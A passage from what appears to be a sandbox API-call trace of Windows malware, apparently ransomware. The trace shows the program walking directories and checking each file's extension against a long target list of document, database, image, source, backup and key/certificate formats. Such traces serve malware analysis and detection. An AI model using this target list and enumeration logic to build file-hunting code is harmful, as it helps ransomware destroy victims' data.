ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0077.860] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.861] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0077.861] lstrlenW (lpString="ARCTIC.ELM") returned 10 [0077.861] lstrlenW (lpString=".1cd") returned 4 [0077.861] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0077.861] lstrlenW (lpString=".3ds") returned 4 [0077.861] lstrcmpiW (lpString1=".3ds", lpString2=".ELM") returned -1 [0077.861] lstrlenW (lpString=".3fr") returned 4 [0077.861] lstrcmpiW (lpString1=".3fr", lpString2=".ELM") returned -1 [0077.861] lstrlenW (lpString=".3g2") returned 4 [0077.861] lstrcmpiW (lpString1=".3g2", lpString2=".ELM") returned -1 [0077.861] lstrlenW (lpString=".3gp") returned 4 [0077.861] lstrcmpiW (lpString1=".3gp", lpString2=".ELM") returned -1 [0077.861] lstrlenW (lpString=".7z") returned 3 [0077.861] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0077.861] lstrlenW (lpString=".accda") returned 6 [0077.861] lstrcmpiW (lpString1=".accda", lpString2="IC.ELM") returned -1 [0077.861] lstrlenW (lpString=".accdb") returned 6 [0077.862] lstrcmpiW (lpString1=".accdb", lpString2="IC.ELM") returned -1 [0077.862] lstrlenW (lpString=".accdc") returned 6 [0077.862] lstrcmpiW (lpString1=".accdc", lpString2="IC.ELM") returned -1 [0077.862] lstrlenW (lpString=".accde") returned 6 [0077.862] lstrcmpiW (lpString1=".accde", lpString2="IC.ELM") returned -1 [0077.862] lstrlenW (lpString=".accdt") returned 6 [0077.862] lstrcmpiW (lpString1=".accdt", lpString2="IC.ELM") returned -1 [0077.862] lstrlenW (lpString=".accdw") returned 6 [0077.862] lstrcmpiW (lpString1=".accdw", lpString2="IC.ELM") returned -1 [0077.862] lstrlenW (lpString=".adb") returned 4 [0077.862] lstrcmpiW (lpString1=".adb", lpString2=".ELM") returned -1 [0077.862] lstrlenW (lpString=".adp") returned 4 [0077.862] lstrcmpiW (lpString1=".adp", lpString2=".ELM") returned -1 [0077.862] lstrlenW (lpString=".ai") returned 3 [0077.862] lstrcmpiW (lpString1=".ai", lpString2="ELM") returned -1 [0077.862] lstrlenW (lpString=".ai3") returned 4 [0077.862] lstrcmpiW (lpString1=".ai3", lpString2=".ELM") returned -1 [0077.862] lstrlenW (lpString=".ai4") returned 4 [0077.862] lstrcmpiW (lpString1=".ai4", lpString2=".ELM") returned -1 [0077.862] lstrlenW (lpString=".ai5") returned 4 [0077.862] lstrcmpiW (lpString1=".ai5", lpString2=".ELM") returned -1 [0077.863] lstrlenW (lpString=".ai6") returned 4 [0077.863] lstrcmpiW (lpString1=".ai6", lpString2=".ELM") returned -1 [0077.863] lstrlenW (lpString=".ai7") returned 4 [0077.863] lstrcmpiW (lpString1=".ai7", lpString2=".ELM") returned -1 [0077.863] lstrlenW (lpString=".ai8") returned 4 [0077.863] lstrcmpiW (lpString1=".ai8", lpString2=".ELM") returned -1 [0077.863] lstrlenW (lpString=".anim") returned 5 [0077.863] lstrcmpiW (lpString1=".anim", lpString2="C.ELM") returned -1 [0077.863] lstrlenW (lpString=".arw") returned 4 [0077.863] lstrcmpiW (lpString1=".arw", lpString2=".ELM") returned -1 [0077.863] lstrlenW (lpString=".as") returned 3 [0077.863] lstrcmpiW (lpString1=".as", lpString2="ELM") returned -1 [0077.863] lstrlenW (lpString=".asa") returned 4 [0077.863] lstrcmpiW (lpString1=".asa", lpString2=".ELM") returned -1 [0077.863] lstrlenW (lpString=".asc") returned 4 [0077.863] lstrcmpiW (lpString1=".asc", lpString2=".ELM") returned -1 [0077.863] lstrlenW (lpString=".ascx") returned 5 [0077.863] lstrcmpiW (lpString1=".ascx", lpString2="C.ELM") returned -1 [0077.863] lstrlenW (lpString=".asm") returned 4 [0077.863] lstrcmpiW (lpString1=".asm", lpString2=".ELM") returned -1 [0077.863] lstrlenW (lpString=".asmx") returned 5 [0077.864] lstrcmpiW (lpString1=".asmx", lpString2="C.ELM") returned -1 [0077.864] lstrlenW (lpString=".asp") returned 4 [0077.864] lstrcmpiW (lpString1=".asp", lpString2=".ELM") returned -1 [0077.864] lstrlenW (lpString=".aspx") returned 5 [0077.864] lstrcmpiW (lpString1=".aspx", lpString2="C.ELM") returned -1 [0077.864] lstrlenW (lpString=".asr") returned 4 [0077.864] lstrcmpiW (lpString1=".asr", lpString2=".ELM") returned -1 [0077.864] lstrlenW (lpString=".asx") returned 4 [0077.864] lstrcmpiW (lpString1=".asx", lpString2=".ELM") returned -1 [0077.864] lstrlenW (lpString=".avi") returned 4 [0077.864] lstrcmpiW (lpString1=".avi", lpString2=".ELM") returned -1 [0077.864] lstrlenW (lpString=".avs") returned 4 [0077.864] lstrcmpiW (lpString1=".avs", lpString2=".ELM") returned -1 [0077.864] lstrlenW (lpString=".backup") returned 7 [0077.864] lstrcmpiW (lpString1=".backup", lpString2="TIC.ELM") returned -1 [0077.864] lstrlenW (lpString=".bak") returned 4 [0077.864] lstrcmpiW (lpString1=".bak", lpString2=".ELM") returned -1 [0077.864] lstrlenW (lpString=".bay") returned 4 [0077.864] lstrcmpiW (lpString1=".bay", lpString2=".ELM") returned -1 [0077.865] lstrlenW (lpString=".bd") returned 3 [0077.865] lstrcmpiW (lpString1=".bd", lpString2="ELM") returned -1 [0077.865] lstrlenW (lpString=".bin") returned 4 [0077.865] lstrcmpiW (lpString1=".bin", lpString2=".ELM") returned -1 [0077.865] lstrlenW (lpString=".bmp") returned 4 [0077.865] lstrcmpiW (lpString1=".bmp", lpString2=".ELM") returned -1 [0077.865] lstrlenW (lpString=".bz2") returned 4 [0077.865] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0077.865] lstrlenW (lpString=".c") returned 2 [0077.865] lstrcmpiW (lpString1=".c", lpString2="LM") returned -1 [0077.865] lstrlenW (lpString=".cdr") returned 4 [0077.865] lstrcmpiW (lpString1=".cdr", lpString2=".ELM") returned -1 [0077.865] lstrlenW (lpString=".cer") returned 4 [0077.865] lstrcmpiW (lpString1=".cer", lpString2=".ELM") returned -1 [0077.865] lstrlenW (lpString=".cf") returned 3 [0077.865] lstrcmpiW (lpString1=".cf", lpString2="ELM") returned -1 [0077.865] lstrlenW (lpString=".cfc") returned 4 [0077.865] lstrcmpiW (lpString1=".cfc", lpString2=".ELM") returned -1 [0077.866] lstrlenW (lpString=".cfm") returned 4 [0077.866] lstrcmpiW (lpString1=".cfm", lpString2=".ELM") returned -1 [0077.866] lstrlenW (lpString=".cfml") returned 5 [0077.866] lstrcmpiW (lpString1=".cfml", lpString2="C.ELM") returned -1 [0077.866] lstrlenW (lpString=".cfu") returned 4 [0077.866] lstrcmpiW (lpString1=".cfu", lpString2=".ELM") returned -1 [0077.866] lstrlenW (lpString=".chm") returned 4 [0077.866] lstrcmpiW (lpString1=".chm", lpString2=".ELM") returned -1 [0077.866] lstrlenW (lpString=".cin") returned 4 [0077.866] lstrcmpiW (lpString1=".cin", lpString2=".ELM") returned -1 [0077.866] lstrlenW (lpString=".class") returned 6 [0077.866] lstrcmpiW (lpString1=".class", lpString2="IC.ELM") returned -1 [0077.866] lstrlenW (lpString=".clx") returned 4 [0077.866] lstrcmpiW (lpString1=".clx", lpString2=".ELM") returned -1 [0077.866] lstrlenW (lpString=".config") returned 7 [0077.866] lstrcmpiW (lpString1=".config", lpString2="TIC.ELM") returned -1 [0077.866] lstrlenW (lpString=".cpp") returned 4 [0077.866] lstrcmpiW (lpString1=".cpp", lpString2=".ELM") returned -1 [0077.866] lstrlenW (lpString=".cr2") returned 4 [0077.866] lstrcmpiW (lpString1=".cr2", lpString2=".ELM") returned -1 [0077.866] lstrlenW (lpString=".crt") returned 4 [0077.867] lstrcmpiW (lpString1=".crt", lpString2=".ELM") returned -1 [0077.867] lstrlenW (lpString=".crw") returned 4 [0077.867] lstrcmpiW (lpString1=".crw", lpString2=".ELM") returned -1 [0077.867] lstrlenW (lpString=".cs") returned 3 [0077.867] lstrcmpiW (lpString1=".cs", lpString2="ELM") returned -1 [0077.867] lstrlenW (lpString=".css") returned 4 [0077.867] lstrcmpiW (lpString1=".css", lpString2=".ELM") returned -1 [0077.867] lstrlenW (lpString=".csv") returned 4 [0077.867] lstrcmpiW (lpString1=".csv", lpString2=".ELM") returned -1 [0077.867] lstrlenW (lpString=".cub") returned 4 [0077.867] lstrcmpiW (lpString1=".cub", lpString2=".ELM") returned -1 [0077.867] lstrlenW (lpString=".dae") returned 4 [0077.867] lstrcmpiW (lpString1=".dae", lpString2=".ELM") returned -1 [0077.867] lstrlenW (lpString=".dat") returned 4 [0077.867] lstrcmpiW (lpString1=".dat", lpString2=".ELM") returned -1 [0077.867] lstrlenW (lpString=".db") returned 3 [0077.867] lstrcmpiW (lpString1=".db", lpString2="ELM") returned -1 [0077.867] lstrlenW (lpString=".dbf") returned 4 [0077.867] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0077.868] lstrlenW (lpString=".dbx") returned 4 [0077.868] lstrcmpiW (lpString1=".dbx", lpString2=".ELM") returned -1 [0077.868] lstrlenW (lpString=".dc3") returned 4 [0077.868] lstrcmpiW (lpString1=".dc3", lpString2=".ELM") returned -1 [0077.868] lstrlenW (lpString=".dcm") returned 4 [0077.868] lstrcmpiW (lpString1=".dcm", lpString2=".ELM") returned -1 [0077.868] lstrlenW (lpString=".dcr") returned 4 [0077.868] lstrcmpiW (lpString1=".dcr", lpString2=".ELM") returned -1 [0077.868] lstrlenW (lpString=".der") returned 4 [0077.868] lstrcmpiW (lpString1=".der", lpString2=".ELM") returned -1 [0077.868] lstrlenW (lpString=".dib") returned 4 [0077.868] lstrcmpiW (lpString1=".dib", lpString2=".ELM") returned -1 [0077.868] lstrlenW (lpString=".dic") returned 4 [0077.868] lstrcmpiW (lpString1=".dic", lpString2=".ELM") returned -1 [0077.868] lstrlenW (lpString=".dif") returned 4 [0077.868] lstrcmpiW (lpString1=".dif", lpString2=".ELM") returned -1 [0077.868] lstrlenW (lpString=".divx") returned 5 [0077.868] lstrcmpiW (lpString1=".divx", lpString2="C.ELM") returned -1 [0077.868] lstrlenW (lpString=".djvu") returned 5 [0077.868] lstrcmpiW (lpString1=".djvu", lpString2="C.ELM") returned -1 [0077.868] lstrlenW (lpString=".dng") returned 4 [0077.869] lstrcmpiW (lpString1=".dng", lpString2=".ELM") returned -1 [0077.869] lstrlenW (lpString=".doc") returned 4 [0077.869] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0077.869] lstrlenW (lpString=".docm") returned 5 [0077.869] lstrcmpiW (lpString1=".docm", lpString2="C.ELM") returned -1 [0077.869] lstrlenW (lpString=".docx") returned 5 [0077.869] lstrcmpiW (lpString1=".docx", lpString2="C.ELM") returned -1 [0077.869] lstrlenW (lpString=".dot") returned 4 [0077.869] lstrcmpiW (lpString1=".dot", lpString2=".ELM") returned -1 [0077.869] lstrlenW (lpString=".dotm") returned 5 [0077.869] lstrcmpiW (lpString1=".dotm", lpString2="C.ELM") returned -1 [0077.869] lstrlenW (lpString=".dotx") returned 5 [0077.869] lstrcmpiW (lpString1=".dotx", lpString2="C.ELM") returned -1 [0077.869] lstrlenW (lpString=".dpx") returned 4 [0077.869] lstrcmpiW (lpString1=".dpx", lpString2=".ELM") returned -1 [0077.869] lstrlenW (lpString=".dqy") returned 4 [0077.869] lstrcmpiW (lpString1=".dqy", lpString2=".ELM") returned -1 [0077.870] lstrlenW (lpString=".dsn") returned 4 [0077.870] lstrcmpiW (lpString1=".dsn", lpString2=".ELM") returned -1 [0077.870] lstrlenW (lpString=".dt") returned 3 [0077.870] lstrcmpiW (lpString1=".dt", lpString2="ELM") returned -1 [0077.870] lstrlenW (lpString=".dtd") returned 4 [0077.870] lstrcmpiW (lpString1=".dtd", lpString2=".ELM") returned -1 [0077.870] lstrlenW (lpString=".dwg") returned 4 [0077.870] lstrcmpiW (lpString1=".dwg", lpString2=".ELM") returned -1 [0077.870] lstrlenW (lpString=".dwt") returned 4 [0077.870] lstrcmpiW (lpString1=".dwt", lpString2=".ELM") returned -1 [0077.870] lstrlenW (lpString=".dx") returned 3 [0077.870] lstrcmpiW (lpString1=".dx", lpString2="ELM") returned -1 [0077.870] lstrlenW (lpString=".dxf") returned 4 [0077.870] lstrcmpiW (lpString1=".dxf", lpString2=".ELM") returned -1 [0077.870] lstrlenW (lpString=".edml") returned 5 [0077.870] lstrcmpiW (lpString1=".edml", lpString2="C.ELM") returned -1 [0077.870] lstrlenW (lpString=".efd") returned 4 [0077.870] lstrcmpiW (lpString1=".efd", lpString2=".ELM") returned -1 [0077.871] lstrlenW (lpString=".elf") returned 4 [0077.871] lstrcmpiW (lpString1=".elf", lpString2=".ELM") returned -1 [0077.871] lstrlenW (lpString=".emf") returned 4 [0077.871] lstrcmpiW (lpString1=".emf", lpString2=".ELM") returned 1 [0077.871] lstrlenW (lpString=".emz") returned 4 [0077.871] lstrcmpiW (lpString1=".emz", lpString2=".ELM") returned 1 [0077.871] lstrlenW (lpString=".epf") returned 4 [0077.871] lstrcmpiW (lpString1=".epf", lpString2=".ELM") returned 1 [0077.871] lstrlenW (lpString=".eps") returned 4 [0077.871] lstrcmpiW (lpString1=".eps", lpString2=".ELM") returned 1 [0077.871] lstrlenW (lpString=".epsf") returned 5 [0077.871] lstrcmpiW (lpString1=".epsf", lpString2="C.ELM") returned -1 [0077.871] lstrlenW (lpString=".epsp") returned 5 [0077.871] lstrcmpiW (lpString1=".epsp", lpString2="C.ELM") returned -1 [0077.871] lstrlenW (lpString=".erf") returned 4 [0077.871] lstrcmpiW (lpString1=".erf", lpString2=".ELM") returned 1 [0077.871] lstrlenW (lpString=".exr") returned 4 [0077.871] lstrcmpiW (lpString1=".exr", lpString2=".ELM") returned 1 [0077.871] lstrlenW (lpString=".f4v") returned 4 [0077.871] lstrcmpiW (lpString1=".f4v", lpString2=".ELM") returned 1 [0077.872] lstrlenW (lpString=".fido") returned 5 [0077.872] lstrcmpiW (lpString1=".fido", lpString2="C.ELM") returned -1 [0077.872] lstrlenW (lpString=".flm") returned 4 [0077.872] lstrcmpiW (lpString1=".flm", lpString2=".ELM") returned 1 [0077.872] lstrlenW (lpString=".flv") returned 4 [0077.872] lstrcmpiW (lpString1=".flv", lpString2=".ELM") returned 1 [0077.872] lstrlenW (lpString=".frm") returned 4 [0077.872] lstrcmpiW (lpString1=".frm", lpString2=".ELM") returned 1 [0077.872] lstrlenW (lpString=".fxg") returned 4 [0077.872] lstrcmpiW (lpString1=".fxg", lpString2=".ELM") returned 1 [0077.872] lstrlenW (lpString=".geo") returned 4 [0077.872] lstrcmpiW (lpString1=".geo", lpString2=".ELM") returned 1 [0077.872] lstrlenW (lpString=".gif") returned 4 [0077.872] lstrcmpiW (lpString1=".gif", lpString2=".ELM") returned 1 [0077.872] lstrlenW (lpString=".grs") returned 4 [0077.872] lstrcmpiW (lpString1=".grs", lpString2=".ELM") returned 1 [0077.872] lstrlenW (lpString=".gz") returned 3 [0077.872] lstrcmpiW (lpString1=".gz", lpString2="ELM") returned -1 [0077.873] lstrlenW (lpString=".h") returned 2 [0077.873] lstrcmpiW (lpString1=".h", lpString2="LM") returned -1 [0077.873] lstrlenW (lpString=".hdr") returned 4 [0077.873] lstrcmpiW (lpString1=".hdr", lpString2=".ELM") returned 1 [0077.873] lstrlenW (lpString=".hpp") returned 4 [0077.873] lstrcmpiW (lpString1=".hpp", lpString2=".ELM") returned 1 [0077.873] lstrlenW (lpString=".hta") returned 4 [0077.873] lstrcmpiW (lpString1=".hta", lpString2=".ELM") returned 1 [0077.873] lstrlenW (lpString=".htc") returned 4 [0077.873] lstrcmpiW (lpString1=".htc", lpString2=".ELM") returned 1 [0077.873] lstrlenW (lpString=".htm") returned 4 [0077.873] lstrcmpiW (lpString1=".htm", lpString2=".ELM") returned 1 [0077.873] lstrlenW (lpString=".html") returned 5 [0077.873] lstrcmpiW (lpString1=".html", lpString2="C.ELM") returned -1 [0077.873] lstrlenW (lpString=".icb") returned 4 [0077.873] lstrcmpiW (lpString1=".icb", lpString2=".ELM") returned 1 [0077.873] lstrlenW (lpString=".ics") returned 4 [0077.873] lstrcmpiW (lpString1=".ics", lpString2=".ELM") returned 1 [0077.874] lstrlenW (lpString=".iff") returned 4 [0077.874] lstrcmpiW (lpString1=".iff", lpString2=".ELM") returned 1 [0077.874] lstrlenW (lpString=".inc") returned 4 [0077.874] lstrcmpiW (lpString1=".inc", lpString2=".ELM") returned 1 [0077.874] lstrlenW (lpString=".indd") returned 5 [0077.874] lstrcmpiW (lpString1=".indd", lpString2="C.ELM") returned -1 [0077.874] lstrlenW (lpString=".ini") returned 4 [0077.874] lstrcmpiW (lpString1=".ini", lpString2=".ELM") returned 1 [0077.874] lstrlenW (lpString=".iqy") returned 4 [0077.874] lstrcmpiW (lpString1=".iqy", lpString2=".ELM") returned 1 [0077.874] lstrlenW (lpString=".j2c") returned 4 [0077.874] lstrcmpiW (lpString1=".j2c", lpString2=".ELM") returned 1 [0077.874] lstrlenW (lpString=".j2k") returned 4 [0077.874] lstrcmpiW (lpString1=".j2k", lpString2=".ELM") returned 1 [0077.874] lstrlenW (lpString=".java") returned 5 [0077.874] lstrcmpiW (lpString1=".java", lpString2="C.ELM") returned -1 [0077.875] lstrlenW (lpString=".jp2") returned 4 [0077.875] lstrcmpiW (lpString1=".jp2", lpString2=".ELM") returned 1 [0077.875] lstrlenW (lpString=".jpc") returned 4 [0077.875] lstrcmpiW (lpString1=".jpc", lpString2=".ELM") returned 1 [0077.875] lstrlenW (lpString=".jpe") returned 4 [0077.875] lstrcmpiW (lpString1=".jpe", lpString2=".ELM") returned 1 [0077.875] lstrlenW (lpString=".jpeg") returned 5 [0077.875] lstrcmpiW (lpString1=".jpeg", lpString2="C.ELM") returned -1 [0077.875] lstrlenW (lpString=".jpf") returned 4 [0077.875] lstrcmpiW (lpString1=".jpf", lpString2=".ELM") returned 1 [0077.875] lstrlenW (lpString=".jpg") returned 4 [0077.875] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0077.876] lstrlenW (lpString=".jpx") returned 4 [0077.876] lstrcmpiW (lpString1=".jpx", lpString2=".ELM") returned 1 [0077.876] lstrlenW (lpString=".js") returned 3 [0077.876] lstrcmpiW (lpString1=".js", lpString2="ELM") returned -1 [0077.876] lstrlenW (lpString=".jsf") returned 4 [0077.876] lstrcmpiW (lpString1=".jsf", lpString2=".ELM") returned 1 [0077.876] lstrlenW (lpString=".json") returned 5 [0077.876] lstrcmpiW (lpString1=".json", lpString2="C.ELM") returned -1 [0077.876] lstrlenW (lpString=".jsp") returned 4 [0077.876] lstrcmpiW (lpString1=".jsp", lpString2=".ELM") returned 1 [0077.876] lstrlenW (lpString=".kdc") returned 4 [0077.876] lstrcmpiW (lpString1=".kdc", lpString2=".ELM") returned 1 [0077.876] lstrlenW (lpString=".kmz") returned 4 [0077.876] lstrcmpiW (lpString1=".kmz", lpString2=".ELM") returned 1 [0077.876] lstrlenW (lpString=".kwm") returned 4 [0077.876] lstrcmpiW (lpString1=".kwm", lpString2=".ELM") returned 1 [0077.876] lstrlenW (lpString=".lasso") returned 6 [0077.876] lstrcmpiW (lpString1=".lasso", lpString2="IC.ELM") returned -1 [0077.877] lstrlenW (lpString=".lbi") returned 4 [0077.877] lstrcmpiW (lpString1=".lbi", lpString2=".ELM") returned 1 [0077.877] lstrlenW (lpString=".lgf") returned 4 [0077.877] lstrcmpiW (lpString1=".lgf", lpString2=".ELM") returned 1 [0077.877] lstrlenW (lpString=".lgp") returned 4 [0077.877] lstrcmpiW (lpString1=".lgp", lpString2=".ELM") returned 1 [0077.877] lstrlenW (lpString=".log") returned 4 [0077.877] lstrcmpiW (lpString1=".log", lpString2=".ELM") returned 1 [0077.877] lstrlenW (lpString=".m1v") returned 4 [0077.877] lstrcmpiW (lpString1=".m1v", lpString2=".ELM") returned 1 [0077.877] lstrlenW (lpString=".m4a") returned 4 [0077.877] lstrcmpiW (lpString1=".m4a", lpString2=".ELM") returned 1 [0077.877] lstrlenW (lpString=".m4v") returned 4 [0077.877] lstrcmpiW (lpString1=".m4v", lpString2=".ELM") returned 1 [0077.877] lstrlenW (lpString=".max") returned 4 [0077.877] lstrcmpiW (lpString1=".max", lpString2=".ELM") returned 1 [0077.877] lstrlenW (lpString=".md") returned 3 [0077.877] lstrcmpiW (lpString1=".md", lpString2="ELM") returned -1 [0077.877] lstrlenW (lpString=".mda") returned 4 [0077.878] lstrcmpiW (lpString1=".mda", lpString2=".ELM") returned 1 [0077.878] lstrlenW (lpString=".mdb") returned 4 [0077.878] lstrcmpiW (lpString1=".mdb", lpString2=".ELM") returned 1 [0077.878] lstrlenW (lpString=".mde") returned 4 [0077.878] lstrcmpiW (lpString1=".mde", lpString2=".ELM") returned 1 [0077.878] lstrlenW (lpString=".mdf") returned 4 [0077.878] lstrcmpiW (lpString1=".mdf", lpString2=".ELM") returned 1 [0077.878] lstrlenW (lpString=".mdw") returned 4 [0077.878] lstrcmpiW (lpString1=".mdw", lpString2=".ELM") returned 1 [0077.878] lstrlenW (lpString=".mef") returned 4 [0077.878] lstrcmpiW (lpString1=".mef", lpString2=".ELM") returned 1 [0077.878] lstrlenW (lpString=".mft") returned 4 [0077.878] lstrcmpiW (lpString1=".mft", lpString2=".ELM") returned 1 [0077.878] lstrlenW (lpString=".mfw") returned 4 [0077.878] lstrcmpiW (lpString1=".mfw", lpString2=".ELM") returned 1 [0077.878] lstrlenW (lpString=".mht") returned 4 [0077.878] lstrcmpiW (lpString1=".mht", lpString2=".ELM") returned 1 [0077.878] lstrlenW (lpString=".mhtml") returned 6 [0077.879] lstrcmpiW (lpString1=".mhtml", lpString2="IC.ELM") returned -1 [0077.879] lstrlenW (lpString=".mka") returned 4 [0077.879] lstrcmpiW (lpString1=".mka", lpString2=".ELM") returned 1 [0077.879] lstrlenW (lpString=".mkidx") returned 6 [0077.879] lstrcmpiW (lpString1=".mkidx", lpString2="IC.ELM") returned -1 [0077.879] lstrlenW (lpString=".mkv") returned 4 [0077.879] lstrcmpiW (lpString1=".mkv", lpString2=".ELM") returned 1 [0077.879] lstrlenW (lpString=".mos") returned 4 [0077.879] lstrcmpiW (lpString1=".mos", lpString2=".ELM") returned 1 [0077.879] lstrlenW (lpString=".mov") returned 4 [0077.879] lstrcmpiW (lpString1=".mov", lpString2=".ELM") returned 1 [0077.879] lstrlenW (lpString=".mp3") returned 4 [0077.879] lstrcmpiW (lpString1=".mp3", lpString2=".ELM") returned 1 [0077.879] lstrlenW (lpString=".mp4") returned 4 [0077.879] lstrcmpiW (lpString1=".mp4", lpString2=".ELM") returned 1 [0077.879] lstrlenW (lpString=".mpeg") returned 5 [0077.879] lstrcmpiW (lpString1=".mpeg", lpString2="C.ELM") returned -1 [0077.880] lstrlenW (lpString=".mpg") returned 4 [0077.880] lstrcmpiW (lpString1=".mpg", lpString2=".ELM") returned 1 [0077.880] lstrlenW (lpString=".mpv") returned 4 [0077.880] lstrcmpiW (lpString1=".mpv", lpString2=".ELM") returned 1 [0077.880] lstrlenW (lpString=".mrw") returned 4 [0077.880] lstrcmpiW (lpString1=".mrw", lpString2=".ELM") returned 1 [0077.880] lstrlenW (lpString=".msg") returned 4 [0077.880] lstrcmpiW (lpString1=".msg", lpString2=".ELM") returned 1 [0077.880] lstrlenW (lpString=".mxl") returned 4 [0077.880] lstrcmpiW (lpString1=".mxl", lpString2=".ELM") returned 1 [0077.880] lstrlenW (lpString=".myd") returned 4 [0077.880] lstrcmpiW (lpString1=".myd", lpString2=".ELM") returned 1 [0077.880] lstrlenW (lpString=".myi") returned 4 [0077.880] lstrcmpiW (lpString1=".myi", lpString2=".ELM") returned 1 [0077.880] lstrlenW (lpString=".nef") returned 4 [0077.880] lstrcmpiW (lpString1=".nef", lpString2=".ELM") returned 1 [0077.880] lstrlenW (lpString=".nrw") returned 4 [0077.880] lstrcmpiW (lpString1=".nrw", lpString2=".ELM") returned 1 [0077.880] lstrlenW (lpString=".obj") returned 4 [0077.881] lstrcmpiW (lpString1=".obj", lpString2=".ELM") returned 1 [0077.881] lstrlenW (lpString=".odb") returned 4 [0077.881] lstrcmpiW (lpString1=".odb", lpString2=".ELM") returned 1 [0077.881] lstrlenW (lpString=".odc") returned 4 [0077.881] lstrcmpiW (lpString1=".odc", lpString2=".ELM") returned 1 [0077.881] lstrlenW (lpString=".odm") returned 4 [0077.881] lstrcmpiW (lpString1=".odm", lpString2=".ELM") returned 1 [0077.881] lstrlenW (lpString=".odp") returned 4 [0077.881] lstrcmpiW (lpString1=".odp", lpString2=".ELM") returned 1 [0077.881] lstrlenW (lpString=".ods") returned 4 [0077.881] lstrcmpiW (lpString1=".ods", lpString2=".ELM") returned 1 [0077.881] lstrlenW (lpString=".oft") returned 4 [0077.881] lstrcmpiW (lpString1=".oft", lpString2=".ELM") returned 1 [0077.881] lstrlenW (lpString=".one") returned 4 [0077.881] lstrcmpiW (lpString1=".one", lpString2=".ELM") returned 1 [0077.881] lstrlenW (lpString=".onepkg") returned 7 [0077.881] lstrcmpiW (lpString1=".onepkg", lpString2="TIC.ELM") returned -1 [0077.881] lstrlenW (lpString=".onetoc2") returned 8 [0077.881] lstrcmpiW (lpString1=".onetoc2", lpString2="CTIC.ELM") returned -1 [0077.882] lstrlenW (lpString=".opt") returned 4 [0077.882] lstrcmpiW (lpString1=".opt", lpString2=".ELM") returned 1 [0077.882] lstrlenW (lpString=".oqy") returned 4 [0077.882] lstrcmpiW (lpString1=".oqy", lpString2=".ELM") returned 1 [0077.882] lstrlenW (lpString=".orf") returned 4 [0077.882] lstrcmpiW (lpString1=".orf", lpString2=".ELM") returned 1 [0077.882] lstrlenW (lpString=".p12") returned 4 [0077.882] lstrcmpiW (lpString1=".p12", lpString2=".ELM") returned 1 [0077.882] lstrlenW (lpString=".p7b") returned 4 [0077.882] lstrcmpiW (lpString1=".p7b", lpString2=".ELM") returned 1 [0077.882] lstrlenW (lpString=".p7c") returned 4 [0077.882] lstrcmpiW (lpString1=".p7c", lpString2=".ELM") returned 1 [0077.882] lstrlenW (lpString=".pam") returned 4 [0077.882] lstrcmpiW (lpString1=".pam", lpString2=".ELM") returned 1 [0077.882] lstrlenW (lpString=".pbm") returned 4 [0077.882] lstrcmpiW (lpString1=".pbm", lpString2=".ELM") returned 1 [0077.882] lstrlenW (lpString=".pct") returned 4 [0077.882] lstrcmpiW (lpString1=".pct", lpString2=".ELM") returned 1 [0077.883] lstrlenW (lpString=".pcx") returned 4 [0077.883] lstrcmpiW (lpString1=".pcx", lpString2=".ELM") returned 1 [0077.883] lstrlenW (lpString=".pdd") returned 4 [0077.883] lstrcmpiW (lpString1=".pdd", lpString2=".ELM") returned 1 [0077.883] lstrlenW (lpString=".pdf") returned 4 [0077.883] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0077.883] lstrlenW (lpString=".pdp") returned 4 [0077.883] lstrcmpiW (lpString1=".pdp", lpString2=".ELM") returned 1 [0077.883] lstrlenW (lpString=".pef") returned 4 [0077.883] lstrcmpiW (lpString1=".pef", lpString2=".ELM") returned 1 [0077.883] lstrlenW (lpString=".pem") returned 4 [0077.883] lstrcmpiW (lpString1=".pem", lpString2=".ELM") returned 1 [0077.883] lstrlenW (lpString=".pff") returned 4 [0077.883] lstrcmpiW (lpString1=".pff", lpString2=".ELM") returned 1 [0077.883] lstrlenW (lpString=".pfm") returned 4 [0077.883] lstrcmpiW (lpString1=".pfm", lpString2=".ELM") returned 1 [0077.883] lstrlenW (lpString=".pfx") returned 4 [0077.883] lstrcmpiW (lpString1=".pfx", lpString2=".ELM") returned 1 [0077.884] lstrlenW (lpString=".pgm") returned 4 [0077.884] lstrcmpiW (lpString1=".pgm", lpString2=".ELM") returned 1 [0077.884] lstrlenW (lpString=".php") returned 4 [0077.884] lstrcmpiW (lpString1=".php", lpString2=".ELM") returned 1 [0077.884] lstrlenW (lpString=".php3") returned 5 [0077.884] lstrcmpiW (lpString1=".php3", lpString2="C.ELM") returned -1 [0077.884] lstrlenW (lpString=".php4") returned 5 